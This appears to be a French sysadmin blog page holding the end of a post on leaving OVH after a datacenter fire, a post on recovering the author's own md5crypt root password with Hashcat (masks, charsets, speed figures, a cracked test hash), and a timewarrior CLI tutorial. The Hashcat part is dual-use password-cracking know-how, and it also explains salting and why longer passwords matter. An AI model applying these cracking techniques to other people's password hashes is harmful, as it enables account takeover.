Celui qui m’a fait de l’Ɠil et que j’ai sĂ©lectionnĂ©, c’est Hetzner. La petite pousse allemande propose des gammes Intel et surtout AMD dans des prix beaucoup plus intĂ©ressants par rapport Ă  OVH pour la prestation proposĂ©e. Les Storage Box sont beaucoup plus souples Ă  utiliser que le Backup Storage fourni chez OVH, je m’oriente donc vers un serveur en Allemagne et une Storage box en Finlande. Et au final, je ne vais pas dĂ©truire mon budget. Il est prĂ©vu de copier certaines machines virtuelles en l’état, et d’en refaire de zĂ©ro (celle du blog va enfin passer sur Debian 10, ou 11 en fonction du plus rapide Ă  se bouger le fion :D). Les fichiers du VPS seront aussi sauvegardĂ©s sur cette Storage Box. Et je vais remettre en service comme il faut les backups des VMs. Les refaire de zĂ©ro permet aussi de remettre Ă  plat leur stockage. Cerise sur le gĂąteau, on vise une installation full firewallĂ© via pfSense, et la mise en place de l’IPv6. Un programme ambitieux donc 🙂

Et pour les autres clients d’OVH ?

Chacun sa merde ? 😀 Plus sĂ©rieusement, je ne peux rĂ©ellement parler que des projets de nos clients. Certains n’ont pas de donnĂ©es stockĂ©es sur les infras dĂ©truites, et sont en capacitĂ© de redĂ©ployer leur application n’importe oĂč : on a donc reconstruit des machines from scratch dans l’urgence ailleurs pour qu’ils redĂ©ploient leur application et fassent pointer leur domaine dessus. Pour les autres, c’est plus dĂ©licat : dans le cadre des Private Cloud, si les sauvegardes sont intactes, on n’a plus qu’à remonter un cluster from scratch pour qu’OVH procĂšde aux restaurations. Une petite reconfiguration rĂ©seau plus tard, et les machines pourront revenir en ligne. Pour les sauvegardes perdues, le dernier espoir est une sauvegarde interne des datastores effectuĂ©s par OVH. Mais ces sauvegardes ont peut-ĂȘtre Ă©tĂ© dĂ©truites aussi en fonction de leur emplacement. N’étant pas au cƓur de l’action dans les Ă©quipes concernĂ©es, je n’en dirai pas plus, surtout que ces opĂ©rations peuvent prendre du temps, et les Ă©quipes d’OVH travaillent d’arrache-pied pour les milliers de clients touchĂ©s. Je leur tire mon chapeau dans tous les cas pour le boulot qu’ils abattent depuis un mois pour remettre tout le monde sur pied d’une maniĂšre ou d’une autre.

LĂ  encore, dans les enseignements qu’on va en tirer, je pense qu’on aura pas trop le choix que de payer plus cher pour avoir un systĂšme de sauvegarde plus solide. Le problĂšme, et je parlais de la communication chez OVH, c’est qu’historiquement, le Backup as a Service n’avait qu’une seule option pour un seul prix. Quand ils ont fait Ă©voluer le service pour ajouter les options gĂ©ographiques, personne ne l’a su et on a pas adaptĂ© la stratĂ©gie en amont. On en paie donc les consĂ©quences aujourd’hui. Certains clients vont nous demander de quitter OVH, sauf que ça leur coĂ»tera inĂ©vitablement plus cher. D’autres nous feront payer des pĂ©nalitĂ©s parce que notre mĂ©tier est de garantir la disponibilitĂ© et l’intĂ©gritĂ© de leur plateforme. De notre cĂŽtĂ©, il est certain qu’une fois la tension retombĂ©e, la bataille sera contractuelle et juridique pour rĂ©clamer les dĂ©dommagements de rigueur Ă  OVH.

De mon cÎté, je vais accepter le fameux mois offert de compensation, et pendant ce temps-là, je vais préparer la nouvelle infra. Je ne garderai que le VPS, et je cherche encore un systÚme de stockage pas cher pour gérer une bouée de secours pour les backups de VMs les plus lourdes, qui ne tiendrons pas sur la Storage Box (sauf à la prendre beaucoup plus grosse, mais ça coûte beaucoup plus cher). Bref, tout est bien qui finit bien.

  •  

Un petit bruteforce de mot de passe avec Hashcat

On s’est retrouvĂ© rĂ©cemment au boulot face Ă  un petit souci : le mot de passe root par dĂ©faut d’une machine fraĂźchement dĂ©ployĂ©e n’était pas acceptĂ©. J’ai donc voulu, de mon cĂŽtĂ©, trouver le mot de passe par des moyens moins conventionnels. Avec ma premiĂšre tentative d’utilisation d’un outil incontournable quand on veut se lancer dans le cracking de mot de passe.

La machine virtuelle est donc une CentOS 7 dĂ©ployĂ©e Ă  partir d’un template vmware prĂ©parĂ© avec Packer, et configurĂ© via Kickstart, l’outil d’installation automatisĂ©e de Redhat. Dans la configuration kickstart, la version « hashĂ©e Â» du mot de passe, au format final sous Linux, est utilisĂ©e. J’ai donc voulu partir de ce hash pour retrouver le mot de passe initial.

Hashcat, la rolls des crackers de mot de passe, quand on a le matos

Historiquement, les gens qui voulaient casser du mot de passe linux utilisaient JohnTheRipper, qui reste encore populaire, mais dont l’ñge se fait sentir semble-t-il. Le problĂšme, c’est que John ne fonctionne qu’avec le CPU, alors que depuis quelques annĂ©es, la puissance brute de nos cartes graphiques dĂ©passe largement celle du CPU. Hashcat est capable de fonctionner avec les deux, soit en mĂȘme temps, soit seulement avec l’un ou l’autre, et exploiter la parallĂ©lisation des architectures modernes pour ĂȘtre toujours plus efficace. Il a aussi le bon goĂ»t d’ĂȘtre opensource, multiplateforme, bref, que du bonheur. Par contre, comme souvent sous Linux pour certains usages GPU, mieux vaut utiliser une carte Nvidia, les outils AMD pour faire de l’OpenCL sont
 Enfin bref, de toute façon, les tests qui vont suivre ont Ă©tĂ© faits sous Windows, ce qui ne demande finalement qu’un pilote assez rĂ©cent.

Au dĂ©part, je pensais pouvoir utiliser le laptop du boulot, sous Linux. Aucun problĂšme particulier pour le lancer, mais entre la chaleur dĂ©gagĂ©e et la lenteur, j’ai vite lĂąchĂ© l’affaire. Le fait est qu’on a pu identifier que le souci qu’on rencontrait Ă©tait un problĂšme d’ICC, j’ai donc arrĂȘtĂ© mes tests, et ça m’arrangera pour la suite, quand j’ai attaquĂ© les tests avec la Radeon RX5700XT Ă  ma disposition.

Une brute de calcul, oui mais


Je rentre donc Ă  la maison et rouvre ma note enregistrĂ©e via nb. Je rĂ©cupĂšre le hash, le met dans un fichier, et dĂ©marre les hostilitĂ©s. Premier constat, avec les options que j’ai utilisĂ©, ça reste super long, et surtout, je teste toutes les possibilitĂ©s, même celles dont je suis sur de ne pas avoir besoin (toutes les combinaisons infĂ©rieures Ă  8 caractĂšres). Au bout de plusieurs heures, je ne suis pas encore arrivĂ© Ă  8 caractĂšres, qui Ă©tait au final le rĂ©sultat attendu.

Je vois que le nombre de hashs par seconde est particuliĂšrement faible, aux alentours de 9500kH/s. Pourtant, l’algorithme affichĂ© semble ĂȘtre du MD5 (mon hash commence par $1), et quand on voit les chiffres dans cet article d’impact-hardware, on sent qu’il se passe quelque chose :

Image INpact-Hardware

Je devrais donc tourner aux alentours de 26000MH/s, ce qui commence dĂ©jĂ  Ă  devenir sĂ©rieux (on parle d’un facteur x2600 quand mĂȘme). Alors bon, est-ce que j’ai des soucis ? L’avantage d’Hashcat, c’est qu’il peut enregistrer la session pour revenir dessus plus tard. J’enregistre donc la session en cours, et relance un test avec une version « md5 Â» simple du mot de passe, gĂ©nĂ©rĂ© avec un petit « echo -n pass |md5sum Â», et lĂ , magie :

Session..........: hashcat
Status...........: Running
Hash.Name........: MD5
Hash.Target......: 84de940c098f17f071c1307f135f42dd
Time.Started.....: Sun Apr 04 13:52:10 2021 (13 secs)
Time.Estimated...: Sun Apr 04 13:56:08 2021 (3 mins, 45 secs)
Guess.Mask.......: ?1?2?2?2?2?2?2?3 [8]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 8/15 (53.33%)
Speed.#1.........: 23089.7 MH/s (6.89ms) @ Accel:256 Loops:512 Thr:64 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 318137958400/5533380698112 (5.75%)
Rejected.........: 0/318137958400 (0.00%)
Restore.Point....: 3932160/68864256 (5.71%)
Restore.Sub.#1...: Salt:0 Amplifier:13312-14336 Iteration:0-1024
Candidates.#1....: Tfc50n07 -> kjj6d9ce
Hardware.Mon.#1..: N/A

Ça bourre, donc ça colle, ce n’est pas un souci matĂ©riel. J’ai une confirmation via une publication de rĂ©sultats du mode benchmark que je suis dans les ordres de grandeurs que je peux attendre de ma carte :

Hashmode: 500 - md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) (Iterations: 1000)

Speed.#1.........:  8992.2 kH/s (69.33ms) @ Accel:256 Loops:500 Thr:256 Vec:1

Je dĂ©cide quand mĂȘme de laisser tomber mon premier test, pour en refaire un en retouchant rapidement mes options. Et je patiente. Longtemps
 TrĂšs longtemps
 Mais il trouve. Je reviendrai tout Ă  l’heure sur les raisons profondes qui font la diffĂ©rence, spoiler je suis bĂȘte comme mes pieds.

Paie ta ref de vieux

La surprise du brute-force par défaut

En effet, au dĂ©but, je n’avais pas laissĂ© le mode bruteforce par dĂ©faut sur md5 tourner longtemps, l’objectif Ă©tait d’abord de valider les chiffres de performance. Mais Ă  un moment donnĂ©, comme je voulais comparer avec le mode unix, j’ai refait le test et laissĂ© tourner. Mon mot de passe fait huit caractĂšres, ça devrait donc ĂȘtre assez rapide. Sauf que je le vois tourner, et passer Ă  9 caractĂšres sans avoir trouvĂ©. Il n’y a pourtant que des majuscules et minuscules !

J’investigue donc ce problĂšme, relance en nettoyant d’éventuelles traces d’exĂ©cutions prĂ©cĂ©dentes, rien, il passe encore sur toute. Et puis je vois un truc :

Guess.Mask.......: ?1?2?2?2?2?2?2?3 [8]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined

Prenons quelques secondes pour dĂ©chiffrer ça. Il applique donc un masque sur le premier caractĂšre, un deuxiĂšme sur les six suivants, et un autre encore sur le dernier. Le premier masque dit « majuscule, minuscule, chiffre Â», le deuxiĂšme dit « minuscule et chiffre Â», le troisiĂšme dit « minuscule chiffre et certains caractĂšres spĂ©ciaux Â».

Surprenant ? En fait non, avec un historique de fuites de mots de passe, de statistiques, et la prĂ©sence de nombreuses politiques de mot de passes similaires prĂ©sentes sur les formulaires web, on s’est rendu compte que ce format Ă©tait le plus rĂ©pandu. Il est donc souvent intĂ©ressant de le prendre comme choix par dĂ©faut. Oui mais voilĂ , ça veut dire qu’il ne teste pas toutes les possibilitĂ©s. Mon petit mot de passe a une majuscule en plein milieu, et ça suffit Ă  passer Ă  travers ce masque !

J’ai retentĂ© en forçant le mĂȘme masque sur tous les caractĂšres, qui est le premier sĂ©lectionnĂ©, et lĂ , paf :

84de940c098f17f071c1307f135f42dd:TotoToto

Session..........: brut
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: 84de940c098f17f071c1307f135f42dd
Time.Started.....: Sun Apr 04 14:09:09 2021 (35 secs)
Time.Estimated...: Sun Apr 04 14:09:44 2021 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 23263.4 MH/s (7.00ms) @ Accel:128 Loops:1024 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 829563863040/218340105584896 (0.38%)
Rejected.........: 0/829563863040 (0.00%)
Restore.Point....: 3440640/916132832 (0.38%)
Restore.Sub.#1...: Salt:0 Amplifier:57344-58368 Iteration:0-1024
Candidates.#1....: O8cdiqss -> 4mnMX3ll
Hardware.Mon.#1..: N/A

35 secondes pour le faire sauter, sachant qu’on connaissait les limitations, et que j’ai volontairement Ă©vitĂ© les mots de passe plus courts. Quand on vous dit que la taille compte quand il s’agit de mot de passe (j’en ai parlĂ© y’a assez longtemps maintenant, mais l’idĂ©e est toujours d’actualitĂ©), et que certains militent pour des phrases de passe, ce n’est pas un hasard. Car l’impact sur les temps nĂ©cessaires pour les casser n’est pas linĂ©aire, c’est donc trĂšs intĂ©ressant.

De l’importance du sel, et de ma confusion

Le sel est un minĂ©ral Ă  la fois nĂ©cessaire et toxique pour le corps humain, c’est pour ça qu’on doit le consommer avec modĂ©ration. Euh, je m’égare


En informatique, un sel est le nom qu’on donne Ă  un Ă©lĂ©ment qu’on ajoute Ă  une information avant de la chiffrer/hasher. L’idĂ©e, rendre l’information Ă  encoder plus longue, et donc ralentir le travail des casseurs. C’est exactement ce qui se passe avec mon fameux mot de passe unix. Le format complet est le suivant :

$1$1Z6lMk9Q$T3XVqBcgF1fY9PlKlU9Oz0

Dans la pratique, cela veut dire qu’il y a un sel de sept caractĂšres appliquĂ© au mot de passe de huit. Sous Linux, chaque mot de passe a son propre hash qui est rĂ©gĂ©nĂ©rĂ© Ă  chaque changement de mot de passe, ce qui Ă©limine toute capacitĂ© de gain de temps liĂ© Ă  la rĂ©cupĂ©ration d’un seul d’entre eux. Ajoutez Ă  ça que le md5 est en fait un md5crypt, soit un dĂ©rivĂ© d’md5 avec donc d’autres opĂ©rations (je vous laisse le dĂ©tail de l’algo ici, Ă  lire au repos), et voilĂ , vous avez la raison de la diffĂ©rence de la performance par rapport Ă  un md5 standard, et de mon interrogation sur les performances de ma bĂȘte.

Un sysadmin qui protĂšge des mots de passe

D’ailleurs, le md5 n’est plus considĂ©rĂ© comme un algorithme sur. Non seulement, les performances actuelles pour le brute-forcer le rendent faible, mais en plus, il a Ă©tĂ© prouvĂ© mathĂ©matiquement puis par l’exemple qu’on pouvait gĂ©nĂ©rer le mĂȘme hash Ă  partir de deux contenus complĂštement diffĂ©rent. Alors que l’objectif de base Ă©tait justement l’unicitĂ© des hash. Dans la pratique pour les mots de passe, ça veut dire qu’on peut trouver au moins deux mots de passe diffĂ©rents pour un mĂȘme hash. Pas glop.

On m’a fait remarquer dans l’oreillette que le md5 n’était pas trĂšs reluisant sur un OS en 2021. C’est juste qu’on a repris le hash sur un ancien modĂšle de 2014, et de toute façon on le change lors de la phase de configuration de l’OS. Donc aprĂšs, c’est du SHA512crypt qui est utilisĂ©, pout tous les mots de passe gĂ©nĂ©rĂ©s/modifiĂ©s.

Le monde merveilleux du cassage de mot de passe

Mon expĂ©rimentation s’arrĂȘte ici. Ce qui est rigolo, c’est que ce billet a dĂ©marrĂ© deux semaines avant la parution dans le Journal du Hacker de cet autre article sur hashcat, qui prĂ©sente grosso modo les options dont j’ai eu besoin pour arriver Ă  mes fins, et comprendre les erreurs que j’ai faites ou rencontrĂ©es. Il y a aussi cet Ă©pisode du Comptoir SĂ©cu sur les mots de passe avec un expert sur le sujet. Et pour le hardware porn, je vous laisse chercher « password cracking rig Â» sur un moteur de recherche d’images pour voir les machines de l’enfer !

  •  

timewarrior, la gestion du temps pour les amoureux de la CLI

Au travail, nous sommes toujours plus pressĂ©s de saisir correctement le temps passĂ© en actions clients ou internes. Pour ça, il faut disposer d’un minimum d’outils pour le mesurer, et c’est un choix sur lequel nous sommes libres. J’avais dĂ©jĂ  un outil graphique qui faisait le taf, mais pendant l’annĂ©e 2020, j’ai cherchĂ© un remplaçant, et mon dĂ©volu s’est jetĂ© sur timewarrior.

Quand je dis qu’on est libre, c’est qu’on a aucun outil recommandĂ©, proposĂ©, standardisĂ©. On a donc toute latitude pour trouver l’outil le plus adaptĂ© Ă  notre personnalitĂ©, tant qu’il permet de remplir ce besoin de traçabilitĂ© renforcĂ©e. Étant sysadmin, linuxien de surcroit, j’ai cherchĂ© quelque chose de minimaliste et efficace. J’utilisais jusque lĂ  un outil créé en interne par un collĂšgue de longue date, Ă©crit en Qt4, non maintenu, mais que j’avais rĂ©ussi Ă  compiler moi-mĂȘme sur ma VM Ubuntu, et que j’ai transfĂ©rĂ© sur ma Manjaro.

Son fonctionnement Ă©tait diablement simple, c’était un gestionnaire de chronomĂštres, avec possibilitĂ© de prises de notes. Un champ texte pour dire sur quoi on bosse, on clique sur dĂ©marrer, et la liste affiche un nouveau chronomĂštre avec le contrĂŽle start/stop. DĂ©marrez un nouveau chrono, celui en cours s’arrĂȘte, et on peut rebasculer comme ça sur toutes les tĂąches. Chaque chrono s’accompagne d’un champ pour prendre des notes, pratiques pour saisir le compte rendu en fin de journĂ©e.

L’aspect non maintenable m’embĂȘtait un peu, mais ça fonctionne du feu de dieu, et je n’ai pas ressenti le besoin urgent de changer lorsque j’avais virĂ© ma VM pour basculer full linux. 2020 est passĂ© par lĂ , et j’ai commencĂ© Ă  me renseigner sur des alternatives qui seraient plus solides Ă  long terme. Et puis le blog de Redhat m’a prĂ©sentĂ© timewarrior.

Timewarrior, la gestion du temps en ligne de commande

La plupart des alternatives que j’avais trouvĂ© s’avĂ©raient ĂȘtre des gros lourdingues de la gestion de projet, autant dire que j’étais pas fan. Il me fallait quelque chose d’épurĂ©, Ă  l’image de l’outil actuel, et multiplateformes. Ceux qui s’en rapprochaient fonctionnaient en mode web, via le navigateur donc, sauf que la plupart du temps, hĂ©bergĂ©s aux USA.

Autant dire que la dĂ©couverte de timewarrior a Ă©tĂ© une trĂšs plaisante surprise : certes pas graphique, pas de prise de note, mais un systĂšme de chrono avec tags, historique sur au moins un an si on veut, et la possibilitĂ© de les manipuler aprĂšs coup quand on se foire parce qu’on a oubliĂ© de changer d’activitĂ©. L’utilisation des tags permet de faire des statistiques sur plusieurs jours pour additionner le temps passĂ© sur une mĂȘme activitĂ©, ou plusieurs activitĂ©s pour un mĂȘme client par exemple.

Et oui, techniquement, on peut dire que timewarrior est multiplateforme, car dĂ©sormais avec le Windows Subsystem for Linux (1 ou 2), il est trĂšs facile de se l’installer ailleurs que dans un Linux natif.

WARNING : en le testant sur mon Ubuntu 18.04 WSL, j’ai rencontrĂ© des bugs dans la version 1.0.0. J’ai dĂ©sinstallĂ© cette version pour faire une compilation manuelle de la version 1.4.2 en suivant la doc (ça a pris moins de deux minutes installation finale comprise). Les bugs ont disparu 🙂

La prise en main trĂšs, trĂšs basique est rapide : start, stop, continue, delete, tag, untag
 les commandes sont faciles Ă  taper, l’outil lui-mĂȘme s’appelle timew, ce qui est plus facile Ă  taper (mĂȘme avec l’autocomplĂ©tion), bref, on rentre vite dedans. Mais dĂšs qu’on rate un truc, qu’on oublie de lancer un chrono, et qu’on doive retoucher son historique rĂ©cent, ça devient vite sport, et la documentation n’est pas forcĂ©ment toujours super clair sur ce qu’il est possible de faire. Ceci dit, pour plusieurs aspects elle m’a quand mĂȘme permis de m’en sortir, donc mĂȘme si je ne vous le rĂ©pĂ©terai pas toutes les deux minutes, si vous vous posez une question pendant la lecture de la suite, la documentation sera probablement la rĂ©ponse.

Les usages simples

  • On dĂ©marre une journĂ©e : timew start "Premiere tache" clientA
  • Deux heures aprĂšs, on passe Ă  la suivante : timew start "Deuxieme tache" clientB
  • Celle-ci n’est pas terminĂ©e Ă  l’heure du dĂ©jeuner : timew stop
  • Reprise aprĂšs le repas:  timew continue
  • DĂ©but de la rĂ©union client en cours d’aprĂšs midi : timew start reu_client clientX projetX
  • Fin de la journĂ©e : timew stop

Si c’est votre premier start avec l’outil, il vous demandera de crĂ©er la base de donnĂ©es locale, acceptez.

Voilà le résultat :

$ timew start "Premiere tache"
Create new database in /home/seboss666/.timewarrior? (yes/no) yes
Tracking "Premiere tache"
  Started 2021-02-28T08:03:33
  Current                  33
  Total               0:00:00

$ timew start "Deuxieme tache"
Recorded "Premiere tache"
  Started 2021-02-28T08:03:33
  Ended              10:13:21
  Total               2:09:58
Tracking "Deuxieme tache"
  Started 2021-02-28T10:13:21
  Current                  21
  Total               0:00:00

$ timew stop
Recorded "Deuxieme tĂąche"
  Started 2021-02-28T10:13:21
  Ended              12:14:25
  Total               2:01:04

$ timew continue
Tracking "Deuxieme tache"
  Started 2021-02-28T13:24:06
  Current                  06
  Total               0:00:00

$ timew start reu_client clientX projetX
Recorded "Deuxieme tache"
  Started 2021-02-28T13:24:06
  Ended              15:30:32
  Total               2:06:23
Tracking clientX projetX reu_client
  Started 2021-02-28T15:30:32
  Current                  32
  Total               0:00:00

$ timew stop
Recorded clientX projetX reu_client
  Started 2021-02-28T15:30:32
  Ended              17:15:48
  Total               1:45:16

Je rĂȘve d’une telle journĂ©e aussi simple et pourtant bien remplie. On peut en voir le rĂ©sultat avec la commande summary :

$ timew summary
Wk Date       Day Tags                            Start      End    Time   Total
W8 2021-02-28 Sun Premiere tache                8:03:33 10:13:21 2:09:48
                  Deuxieme tache               10:13:21 12:14:25 2:01:04
                  Deuxieme tache               13:24:06 15:30:32 2:06:26
                  clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 8:02:34
                                                                         _______
                                                                         8:02:34

On voit chaque tĂąche avec son dĂ©but, sa fin, ses tags. Les tags sont particuliĂšrement pratiques dans timewarrior. Par exemple, le boulot sur la deuxiĂšme tache a Ă©tĂ© coupĂ©e par le repas du midi, si on veut faire le total de ce boulot, il suffit d’ajouter le tag au summary :

$ timew summary "Deuxieme tache"

Wk Date       Day Tags              Start      End    Time   Total
W8 2021-02-28 Sun Deuxieme tache 10:13:21 12:14:25 2:01:04
                  Deuxieme tache 13:24:06 15:30:32 2:06:26 4:07:30
                                                                  
                                                           4:07:30

Petit apartĂ© sur les tags, il n’est pas possible d’avoir un tag avec uniquement des numĂ©ros, parce qu’il essaie de traduire ça en temps. Ensuite, si vous saisissez plusieurs mots sans plus de formatage, chaque mot sera un tag indĂ©pendant. Si vous voulez avoir un seul tag avec tous les mots, utilisez soit des guillemets, soit remplacez les espaces par des underscores. Aussi, Ă©vitez les accents dans les tags, ça donne des comportements bizarres par la suite.

timew continue permet de dĂ©marrer une nouvelle tĂąche en reprenant les tags d’une tĂąche prĂ©cĂ©dente. Si on ne met rien c’est la derniĂšre en date qui est reprise, mais on peut aussi spĂ©cifier une autre tĂąche passĂ©e.

Il est possible d’ajouter des « hints Â», des options au rĂ©sumĂ©. Par dĂ©faut toutes les commandes s’appliquent Ă  la journĂ©e en cours. Pour afficher le rĂ©sumĂ© de la veille, on ajoute :yesterday. Si on prĂ©voit de retoucher les tags ou les intervalles, il est nĂ©cessaire d’avoir l’identifiant de la tĂąche, et c’est :ids qui permet de les afficher, je le mets quasi systĂ©matiquement.

On va garder cette journée de base pour se pencher sur des actions plus poussées qui reflÚtent un peu plus une vraie journée de boulot.

Les usages plus poussés

Imaginez qu’en fait, vous avez commencĂ© la deuxiĂšme tĂąche un quart d’heure plus tĂŽt, et que vous avez oubliĂ© de dĂ©marrer votre deuxiĂšme chrono au bon moment. On cherche donc Ă  rĂ©duire la premiĂšre tache de 15 minutes et dĂ©placer le dĂ©but de la deuxiĂšme tĂąche en consĂ©quence. Commençons par rĂ©duire cette premiĂšre tĂąche :

$ timew shorten @4 15min
Shortened @4 by 0:15:00

je refais un petit summary pour vĂ©rifier la prĂ©sence du « trou Â» :

$ timew summary :ids

Wk Date       Day ID Tags                            Start      End    Time   Total
W8 2021-02-28 Sun @4 Premiere tache                8:03:33  9:58:21 1:54:48
                  @3 Deuxieme tache               10:13:21 12:14:25 2:01:04
                  @2 Deuxieme tache               13:24:06 15:30:32 2:06:26
                  @1 clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 7:47:34
                                                                                   
                                                                            7:47:34

Pour dĂ©placer le dĂ©but de la tĂąche, plutĂŽt que l’instruction move, qui va conserver la durĂ©e totale, et donc dĂ©placer aussi la fin (je conseille donc move pour la tĂąche en cours plutĂŽt qu’une tĂąche passĂ©e), on va plutĂŽt la modifier :

$ /usr/local/bin/timew modify start @3 9:58:21
$ /usr/local/bin/timew summary :ids

Wk Date       Day ID Tags                            Start      End    Time   Total
W8 2021-02-28 Sun @4 Premiere tache                8:03:33  9:58:21 1:54:48
                  @3 Deuxieme tache                9:58:21 12:14:25 2:16:04
                  @2 Deuxieme tache               13:24:06 15:30:32 2:06:26
                  @1 clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 8:02:34
                                                                                   
                                                                            8:02:34

Vous l’aurez compris, dans plusieurs commandes demandant de manipuler les intervalles, on peut spĂ©cifier le temps prĂ©cis Ă  la seconde !

Un autre problĂšme qui m’est dĂ©jĂ  arrivĂ© plus d’une fois, Ă©teindre le PC en fin de journĂ©e sans faire de stop. Dans ce cas, la tĂąche est considĂ©rĂ©e comme toujours en cours et quand on dĂ©marrera le matin, la tĂąche qui aura durĂ© toute la nuit s’affichera de maniĂšre spĂ©ciale : pour rappel l’affichage standard ne concerne que la journĂ©e en cours. Si on affiche le rĂ©sumĂ© la tĂąche semble dĂ©marrer Ă  minuit. Attention, c’est un piĂšge ! En effet, si on affiche le rĂ©sumĂ© de la semaine, on voit que la mĂȘme tĂąche court sur deux jours, avec le mĂȘme identifiant. Il ne faut donc pas simplement supprimer cette « mauvaise Â» tĂąche, il faut simplement la traiter. Les commandes modify ou shorten seront lĂ  pour vous aider.

Autre oubli, carrĂ©ment, une tĂąche complĂšte Ă  la suite d’un appel Ă  l’aide d’un collĂšgue qu’on a oubliĂ© de noter. Admettons par exemple que notre deuxiĂšme tĂąche a Ă©tĂ© entrecoupĂ©e le matin d’une vingtaine de minutes au tĂ©lĂ©phone. Vu qu’on doit insĂ©rer une tĂąche au milieu, on commence par couper l’existante en deux. Ça tombe bien, y’a une commande pour ça :

$ timew split @3
Split @3
$ timew summary :ids

Wk Date       Day ID Tags                            Start      End    Time   Total
W8 2021-02-28 Sun @5 Premiere tache                8:03:33  9:58:21 1:54:48
                  @4 Deuxieme tache                9:58:21 11:06:23 1:08:02
                  @3 Deuxieme tache               11:06:23 12:14:25 1:08:02
                  @2 Deuxieme tache               13:24:06 15:30:32 2:06:26
                  @1 clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 8:02:34
                                                                                   
                                                                            8:02:34

On modifie ensuite les deux tĂąches nouvellement créées pour faire de la place, avec shorten/modify une fois de plus. Pour ajouter une nouvelle tĂąche au milieu, pas possible de faire un start dans le passĂ©, on se prendrait une erreur de chevauchement d’intervalle (il va prendre la nouvelle tĂąche Ă  l’heure de dĂ©but, mais entre deux, il y a dĂ©jĂ  d’autres tĂąches). On va donc rĂ©afficher le rĂ©sumĂ© :

$ timew summary :ids

Wk Date       Day ID Tags                            Start      End    Time   Total
W8 2021-02-28 Sun @5 Premiere tache                8:03:33  9:58:21 1:54:48
                  @4 Deuxieme tache                9:58:21 10:46:23 0:48:02
                  @3 Deuxieme tache               11:06:23 12:14:25 1:08:02
                  @2 Deuxieme tache               13:24:06 15:30:32 2:06:26
                  @1 clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 7:42:34
                                                                                   
                                                                            7:42:34

On voit bien notre « trou Â» entre 10h46 et 11h06. Et c’est la commande track qui va permettre de faire le boulot, en lui indiquant le dĂ©but et la fin de notre nouvelle tĂąche  :

$ timew track "call tartempion" 10:46:23 - 11:06:23
Note: '"call tartempion"' is a new tag.
Recorded "call tartempion"
  Started 2021-02-28T10:46:23
  Ended              11:06:23
  Total               0:20:00

Dernier cas que je vais vous prĂ©senter qu’il m’arrive aussi de faire, dĂ©marrer un chrono parce qu’on pense travailler sur un truc, dĂ©marrer un autre truc, et au bout de 20 minutes, se dire « merde, c’est pas la bonne tĂąche Â», et de juste faire un start ou un continue pour reprendre des tags existants. Il reste donc une tĂąche avec des tags qui ne correspondent pas parce qu’on a pas vraiment travaillĂ© dessus ! Pour expliquer comment s’en sortir simplement, j’ai modifiĂ© le boulot de l’aprĂšs-midi pour dire que j’avais fait quelque chose avant le meeting que je n’ai au final pas fait puisque j’ai continuĂ© ma tĂąche d’aprĂšs manger. J’ai plusieurs possibilitĂ©s, supprimer cette tĂąche (delete) et dĂ©placer la fin (modify end), mais il y a une autre maniĂšre de faire, ce qui me permet de montrer ce qu’on peut faire avec les tags. On commence par supprimer les tags de la tĂąche fantĂŽme :

$ timew summary :ids

Wk Date       Day ID Tags                            Start      End    Time   Total
W8 2021-02-28 Sun @7 Premiere tache                8:03:33  9:58:21 1:54:48
                  @6 Deuxieme tache                9:58:21 10:46:23 0:48:02
                  @5 call tartempion              10:46:23 11:06:23 0:20:00
                  @4 Deuxieme tache               11:06:23 12:14:25 1:08:02
                  @3 Deuxieme tache               13:24:06 15:12:57 1:48:51
                  @2 git, review                  15:12:57 15:30:32 0:17:35
                  @1 clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 8:02:34
                                                                                   
                                                                            8:02:34
$ timew untag @2 git review
Removed git review from @2
$ timew tag @2 "Deuxieme tache"
Added DeuxiĂšme tĂąche to @2
$ /usr/local/bin/timew summary :ids

Wk Date       Day ID Tags                            Start      End    Time   Total
W8 2021-02-28 Sun @7 Premiere tache                8:03:33  9:58:21 1:54:48
                  @6 Deuxieme tache                9:58:21 10:46:23 0:48:02
                  @5 call tartempion              10:46:23 11:06:23 0:20:00
                  @4 Deuxieme tache               11:06:23 12:14:25 1:08:02
                  @3 Deuxieme tache               13:24:06 15:12:57 1:48:51
                  @2 Deuxieme tache               15:12:57 15:30:32 0:17:35
                  @1 clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 8:02:34
                                                                                   
                                                                            8:02:34

Dans le rĂ©sumĂ©, on a dĂ©sormais deux tĂąches avec les mĂȘmes tags. C’est le mĂȘme boulot, donc autant les fusionner :

$ timew join @2 @3
Joined @2 and @3
$ timew summary :ids

Wk Date       Day ID Tags                            Start      End    Time   Total
W8 2021-02-28 Sun @6 Premiere tache                8:03:33  9:58:21 1:54:48
                  @5 Deuxieme tache                9:58:21 10:46:23 0:48:02
                  @4 call tartempion              10:46:23 11:06:23 0:20:00
                  @3 Deuxieme tache               11:06:23 12:14:25 1:08:02
                  @2 Deuxieme tache               13:24:06 15:30:32 2:06:26
                  @1 clientX, projetX, reu_client 15:30:32 17:15:48 1:45:16 8:02:34
                                                                                   
                                                                            8:02:34

Si les tags sont différents, il les regroupe dans la tùche nouvellement créée. Et on remarquera au passage que le total reste identique malgré toutes ces manipulations.

Un peu de sucre dans le résumé ?

